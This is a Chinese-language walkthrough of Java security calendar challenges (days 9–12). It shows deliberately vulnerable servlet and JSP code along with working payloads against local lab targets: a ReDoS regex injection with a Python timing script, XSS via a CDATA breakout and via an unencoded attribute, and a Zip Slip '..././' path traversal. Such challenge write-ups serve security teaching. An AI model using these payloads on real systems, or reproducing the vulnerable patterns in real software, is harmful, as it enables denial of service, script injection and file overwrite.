java_security_calendar_2019(day9-day12)

Day9

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Validator extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/plain");
response.setCharacterEncoding("UTF-8");

PrintWriter out = response.getWriter();
if (isInWhiteList(request.getParameter("whitelist"), request.getParameter("value"))) {
out.print("Value is in whitelist.");
} else {
out.print("Value is not in whitelist.");
}
out.flush();
}

public static boolean isInWhiteList(String whitelist, String value) {
Pattern pattern = Pattern.compile("^[" + whitelist + "]+");
Matcher matcher = pattern.matcher(value);
return matcher.matches();
}
}

功能简单,用户传入"whitelist""value",对传入的值进行白名单校验,如果都在则返回"Value is in whitelist."。重点就是这个isInWhiteList()方法了。
这里pattern通过传进来的whitelist与前后两部分进行拼接,再将传进来的value值进行正则匹配。由于whitelist用户可控,此时可通过构告恶意的请求数据,闭合掉"^[""]+",写入一段恶意的正则,造成ReDos。

payload: whitelist=x]|((((a+)+)+)+)&value=aaaa

注:此处特殊符号进行url编码,否则"+"会被解析成空格。

写python脚本进行验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import time
import requests

headers = {}
headers['User-Agent'] = 'Mozilla/5.0 ' \
'(Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 ' \
'(KHTML, like Gecko) Version/5.1 Safari/534.50'
for i in range(1,10):
valueLen = 2 * i
value = 'a' * valueLen
data={'whitelist':'x]|((((a+)+)+)+)','value':value}
starttime = time.time()
response = requests.post('http://localhost:8888/day9/Validator',headers=headers,data=data)
endtime = time.time()
usetime = endtime - starttime
print ("长度为 %d 的value花费:%f 秒 " % (valueLen, usetime))

注:在python脚本中的payload,不要用url编码,要用原形。开始为了偷懒,用工具生成的脚本,结果一直出错,找了半天问题。。。。
执行如下:

Day10

示例代码:

1
2
3
4
5
6
7
8
9
10
@RequestMapping("/webdav")
public void webdav(HttpServletResponse res, @RequestParam("name") String name) throws IOException {
res.setContentType("text/xml");
res.setCharacterEncoding("UTF-8");
PrintWriter pw = res.getWriter();
name = name.replace("]]", "");
pw.print("<person>");
pw.print("<name><![CDATA[" + name.replace(" ","") + "]]></name>");
pw.print("</person>");
}

响应数据的ContentType被设置为xml格式。可以通过注入具有xml名称空间属性http://www.w3.org/1999/xhtml的标签来触发js脚本。在控制层中,用户传入name参数,并对"]]" 字符与空格进行过滤,猜测其过滤空格为了防止分隔标签中的参数,正好可以利用这点,将"]]" 加入空格可进行绕过,空格可换成tab换行。

注:
CDATA说明:

  • CDATA 全名:character data。除了 CDATA 区段(CDATA section)中的文本会被解析器忽略,其他所有 XML 文档中的文本均会被解析器解析。
  • CDATA的形式如下: <![CDATA[文本内容]]>
  • CDATA的文本内容中不能出现字符串"]]>"。另外,CDATA不能嵌套。
  • XML 实例: 在CDATA标记中的信息被解析器原封不动地传给应用程序,并且不解析该段信息中的任何控制标记。 CDATA区域是由“”为结束标记,注意CDATA为大写。

payload:
name=test] ]><something:script%09xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script><![CDATA[

在代码中拼接后得:
<name><![CDATA[test]]><something:script%09xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script><![CDATA[]]></name>

执行结果:

Day11

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class ExtractFiles extends HttpServlet {
private static void extract() throws Exception {
// /tmp/uploaded.tar is user controlled and an uploaded file.
final InputStream is = new FileInputStream(new File("/tmp/uploaded.tar"));
final TarArchiveInputStream tarInputStream = (TarArchiveInputStream) (new ArchiveStreamFactory().createArchiveInputStream(ArchiveStreamFactory.TAR, is));
File tmpDir = Files.createTempDirectory("test").toFile();
TarArchiveEntry entry;
while ((entry = tarInputStream.getNextTarEntry()) != null) {
File file = new File(tmpDir, entry.getName().replace("../", ""));
if (entry.isDirectory()) {
file.mkdirs();
} else {
IOUtils.copy(tarInputStream, new FileOutputStream(file));
}
}
is.close();
tarInputStream.close();
}
}

典型的Zip Slip漏洞,对传入的压缩文件进行解压时,只对文件名进行简单的"../"过滤,可通过"..././"等方式进行绕过,
payload:
..././..././..././..././..././var/tomcat/webapps/ROOT/index.jsp

使用脚本或ue编辑器生成载有恶意文件的uploaded.tar压缩包,放在/tmp目录下,访问http://localhost:8888/day11/ExtractFiles后,随后可正常访问上传文件。

执行结果如下:

Day12

示例代码:

index.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page import="org.owasp.esapi.ESAPI" %>
<%! String customClass = "default"; %>
<html><body><%@ include file="init.jsp" %>

<div class="<%= customClass %>">
<%! String username; %>
<% username = request.getParameter("username"); %>
Welcome citizen, you have been identified as
<%
customClass = request.getParameter("customClass");
customClass = ESAPI.encoder().encodeForHTML(customClass);
%>
<div class="<%= customClass %>">
<%= ESAPI.encoder().encodeForHTML(username) %>.
</div></div></body></html>

init.jsp

1
<% customClass = request.getParameter("customClass"); %>

在index.jsp文件中,用户可以传入"username""customClass"两个参数,并对这两个参数的值通过"ESAPI'接口做数据清洗,原则上是不可能执行恶意用户输入的恶意代码。但是init.jsp中,用户传入的"customClass"被赋值给div标签的属性值中,此处未进行数据清洗。

构造请求: /index.jsp?username=xxx&customClass=xxx" ><script>alert(1)</script>

执行结果: